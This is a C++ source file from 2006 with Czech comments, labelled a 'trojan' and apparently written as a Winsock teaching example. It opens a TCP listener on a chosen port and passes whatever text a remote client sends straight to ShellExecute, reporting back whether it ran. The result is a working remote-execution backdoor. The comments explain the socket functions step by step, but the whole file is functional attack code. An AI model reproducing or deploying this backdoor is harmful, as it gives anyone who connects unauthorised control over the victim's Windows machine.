/*

  trojan - klasicky TCP server - Windows verze 
  2006 (L) cZokL, mr [dot] czokl [at] gmail [dot] com

  ad komenty - u kazdy fce z knihovny winsock, ktera nebyla popsana 
  v predchazejicich kodech, najdete zbezny popis a
  odkaz na dokumentaci + nejake to info i u jinych veci

*/

#include <iostream>
#include <windows.h>
#include <cstdlib>

#define BUFSIZE 1024

using namespace std ;

int main(int argc, char *argv[] ) {

  if( argc != 2 ) {
  
    cerr << "Chybny pocet argumentu" << endl ;    
    exit(-1) ;
      
  }
  
  int port = atoi(argv[1]) ;
  
  if ( port < 1 || port > 65536 ) {
  
    cerr << "Cislo portu neni ve stanovenem rozsahu" << endl ; 
    exit(-1) ;
  }
   
   /* inicializace Winsock */

  WSAData wsadata ;

  if(WSAStartup(MAKEWORD(2,2), &wsadata) !=0) {

    cerr << "Nepovedlo se inicializovat sockety" << endl ;
    exit(-1) ;
  }

  //naplneni struktury SOCKADDR_IN

  SOCKADDR_IN service ;

  service.sin_family = AF_INET ;
  service.sin_addr.s_addr = INADDR_ANY ;
  service.sin_port = htons(port) ;

  //vytvoreni socketu

  SOCKET sock ;

  if( (sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) {

    cerr << "Nepovedlo se vytvorit socket" << endl ;

    WSACleanup() ;

    exit(-1);

  }

  if (bind( sock, (SOCKADDR*) &service, sizeof(service)) == SOCKET_ERROR) {

    cerr << "Chyba pri spusteni bind() " << endl ;

    closesocket(sock);

    WSACleanup() ;

    return -1;
  }

  /*
    
    Tady zacinaji rozdily mezi TCP a UDP
    
  */

  /*
  
    tato funkce nastavi soket do stavu naslouchani 
    prvni param je snad jasny ten druhy urcuje max.
    pocet klientu ktere se maji prijmout, standartne se
    voli 10, ale toto cislo pak zalezi na vlastnim 
    uvazeni a na tom jaky druh serveru stojite, pro nasi
    aplikaci by klidne mohlo stacit cislo 1 
    viz. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/winsock/listen_2.asp   
  
  */
  
  if (listen( sock, 10 ) == SOCKET_ERROR) {

    cerr << "Chyba pri naslouchani" << endl ;

    closesocket(sock) ;

    WSACleanup() ;

    exit(-1) ;

  }


  /*
  
  prijmeme spojeni - daloby se rict ze fce accept je parova k fci connect 
  pres tyto dve fce se navaze tcp spojeni 
  funkce vrati novy socket dekriptor pres ktery budeme dal komunikovat s
  klientem
  viz. http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winsock/winsock/accept_2.asp 
  
  */

  
  SOCKET cli_sock;  
  
  if( (cli_sock = accept(sock, (SOCKADDR*) &service, 0)) ==  SOCKET_ERROR ) {
   
    cerr << "nelze prijmout spojeni" << endl ;
    closesocket(sock) ;
    closesocket(cli_sock) ;  
    WSACleanup() ;
    
    exit(-1) ;
    
  }   

  /*
  
  puvodni soket deskriptor uz nepotrebujeme - zavreme ho
  
  */


  closesocket(sock) ;

  char data[BUFSIZE] ;  
  int size ;
  if ((size = recv(cli_sock, data, BUFSIZE, 0)) == SOCKET_ERROR) {

    cerr << "nepovedlo se prijmout data" << endl ;

    closesocket(cli_sock) ;

    WSACleanup() ;
    exit(-1) ;

  }

  data[size] = '\0' ;
  
  
  /* provedeme prikaz */
  
  string result ;
  int ret ; 
  
  ret = (int) ShellExecute(NULL, "open", data ,  0 , NULL, SW_SHOWNORMAL) ;
  
  if ( ret > 32 ) 
    result = "Spusteni probehlo v poradku\r\n" ;
  else 
    result = "Pri spusteni nastala chyba\r\n" ;
  
  if(send(cli_sock,result.c_str(), result.size(), 0) == SOCKET_ERROR) {
   
    cerr << "nelze odeslat data" << endl ;
    closesocket(cli_sock) ;
    WSACleanup() ;
    exit(-1) ;    
  }

  closesocket(cli_sock) ;

  WSACleanup() ;

  system("pause") ;

  return 0 ;

}
